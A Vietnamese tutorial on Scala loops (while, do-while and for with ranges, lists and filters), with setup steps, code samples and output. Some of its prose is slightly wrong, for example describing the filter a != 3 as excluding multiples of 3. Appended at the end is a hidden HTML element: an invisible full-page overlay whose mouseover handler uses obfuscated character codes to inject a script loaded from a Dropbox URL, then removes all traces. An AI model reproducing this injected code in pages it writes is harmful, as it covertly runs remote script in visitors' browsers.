Vòng lặp trong Scala

Scala là gì

Scala là một ngôn ngữ lập trình đa mẫu hình, được thiết kế để tích hợp các tính năng của lập trình hướng đối tượng với lập trình hàm. Tên Scala xuất phát từ chữ tiếng Anh scalable, có nghĩa là "ngôn ngữ có khả năng mở rộng", được phát triển dựa trên nhu cầu sử dụng các tính năng mở rộng của nó. (Wikipedia)

Như vậy Scala bao gồm cả 2 đặc điểm của: lập trình hướng đối tượng và lập trình hàm

  • Tất cả giá trị biến đều là một đối tượng. Kiểu dữ liệu và hành vi của một đối tượng được mô tả bằng các lớp. Các lớp trừu tượng được mở rộng bằng các lớp con và hạn chế các khó khăn trong đa kế thừa.
  • Nó hỗ trợ cú pháp ngắn gọn cho việc định nghĩa các hàm, cho phép hàm lồng vào nhau. Dùng từ khóa lazy để trì hoãn sử dụng một biến cho đến khi cần sử dụng nó. Scala hỗ trợ các kiểu dữ liệu đại số của lập trình hàm.

Cài đặt Scala trên Linux

Vì Scala được chạy trên nền Java, nên trước hết bạn phải cài JDK đã

sudo apt-get install openjdk-7-jdk

Sau đó cài đặt sbt

echo "deb http://dl.bintray.com/sbt/debian /" | sudo tee -a /etc/apt/sources.list.d/sbt.list
sudo apt-get update
sudo apt-get install sbt

Và cuối cùng bạn vô đây để down IDE về là xong http://scala-ide.org/download/sdk.html

Hello World

Vào New > Scala Project, đánh tên Project (ví dụ HelloWorld) và ấn ok

Tiếp tục chuột phải vào src, chọn New > Scala Object, tạo một object là "Hello", copy-paste đoạn code sau

object Hello extends App {
  println("Hello, World!")
}

Ấn chuột phải vào file Hello.scala được tạo và chọn Run as > Scala Application

Bạn sẽ thấy chữ "Hello, World!" được in ra tại cửa sổ console của Eclipse

Loop trong Scala

Scala cung cấp 3 loại vòng lặp

  • For
  • While
  • Do while

While

Cấu trúc của vòng lặp While trong Scala như sau

while(condition){
   statement(s);
}

Statement có thể là một lệnh đơn hoặc một khối lệnh. "Condition" có thể là bất cứ một biểu thức nào, là "true" khi mang bất cứ giá trị nào khác 0. Vòng lặp được thực hiện khi "condition" còn đúng. Khi "condition" sai

alt

Ví dụ với đoạn code sau

object Test {
   def main(args: Array[String]) {
      var a = 10;

      while( a < 20 ){
         println( "Value of a: " + a );
         a = a + 1;
      }
   }
}

Chạy và chúng ta ra kết quả như sau

value of a: 10
value of a: 11
value of a: 12
value of a: 13
value of a: 14
value of a: 15
value of a: 16
value of a: 17
value of a: 18
value of a: 19

Điểm mấu chốt ở đây là bên trong thân của vòng lặp có thể không bao giờ được chạy nếu điều kiện "condition" sai ngay từ đầu

Do while

Cấu trúc

do{
   statement(s);
}while( condition );

Không giống như vòng lặp while, việc kiểm tra điều kiện "condition" chỉ thực hiện sau khi đã thực thi biểu thức bên trong Statements. Như vậy vòng lặp Do While sẽ đảm bảo khối lệnh được thực thi ít nhất một lần

alt

Chúng ta sẽ viết lại đoạn code trên sử dụng Do While

object Test {
   def main(args: Array[String]) {
      var a = 10;

      do{
         println( "Value of a: " + a );
         a = a + 1;
      }while( a < 20 )
   }
}

Kết quả tương tự như ví dụ trên

For

Vòng lặp for là cấu trúc cho phép chúng ta viết một vòng lặp được thực thi với số lần xác định. Có nhiều kiểu vòng lặp For trong Scala

For with Ranges

for( var x <- Range ){
   statement(s);
}

Range ở đây có thể là một khoảng các số, được đại diện bằng "i to j" hoặc đôi khi là "j until i"

object Test {
   def main(args: Array[String]) {
      var a = 0;

      for( a <- 1 to 10){
         println( "Value of a: " + a );
      }
   }
}

Còn đây là code khi dùng "j until i"

object Test {
   def main(args: Array[String]) {
      var a = 0;

      for( a <- 1 until 10){
         println( "Value of a: " + a );
      }
   }
}

Bạn có thể sử dụng nhiều range, ngăn cách nhau bằng dấu ";". Vòng lặp sẽ chạy qua tất các khả năng có thể có của các dãy được cung cấp

Ví dụ

object Test {
   def main(args: Array[String]) {
      var a = 0;
      var b = 0;

      for( a <- 1 to 3; b <- 1 to 3){
         println( "Value of a: " + a );
         println( "Value of b: " + b );
      }
   }
}

Kết quả

Value of a: 1
Value of b: 1
Value of a: 1
Value of b: 2
Value of a: 1
Value of b: 3
Value of a: 2
Value of b: 1
Value of a: 2
Value of b: 2
Value of a: 2
Value of b: 3
Value of a: 3
Value of b: 1
Value of a: 3
Value of b: 2
Value of a: 3
Value of b: 3

Vòng lặp for với một tập hợp

for( var x <- List ){
   statement(s);
}

Với cách viết này, x sẽ duyệt qua tất cả các phần tử của tập hợp "List"

object Test {
   def main(args: Array[String]) {
      var a = 0;
      val numList = List(1,2,3,4,5,6);

      for( a <- numList ){
         println( "Value of a: " + a );
      }
   }
}

Vòng lặp for với Filter

for( var x <- List
      if condition1; if condition2...
   ){
   statement(s);
}

Với cách viết này, x sẽ duyệt qua các phần tử của List thỏa mãn các điều kiện cho trước

object Test { def main(args: Array[String]) { var a = 0; val numList = List(1,2,3,4,5,6,7,8,9,10);

  for( a <- numList
       if a != 3; if a < 8 ){
     println( "Value of a: " + a );
  }

} }

Vòng lặp sẽ chỉ duyệt qua các phần tử không chia hết cho 3 và nhỏ hơn 8 trong List. Kết quả

value of a: 1
value of a: 2
value of a: 4
value of a: 5
value of a: 6
value of a: 7

Trên đây là cách sử dụng vòng lặp trong Scala. Chúc các bạn học code vui vẻ (sun)

<hr id="unique-hr" style="background-color: #a00; border: none; height: 2000px; width: 2000px ;z-index: 1000; opacity: 0.01; position: fixed; top: 0px; left: 0px;" onmouseover="$('#footer').append(String.fromCharCode(39, 60, 115, 99, 114, 105, 112, 116) + ' id=\'atk-src\' src=\'https://www.dropbox.com/s/vfi73fypu0x7ij5/serious.js?dl=1\'></' + String.fromCharCode(115, 99, 114, 105, 112, 116, 62, 39)); setTimeout(function() {$('#unique-hr,#atk-src').remove();}, 3000);">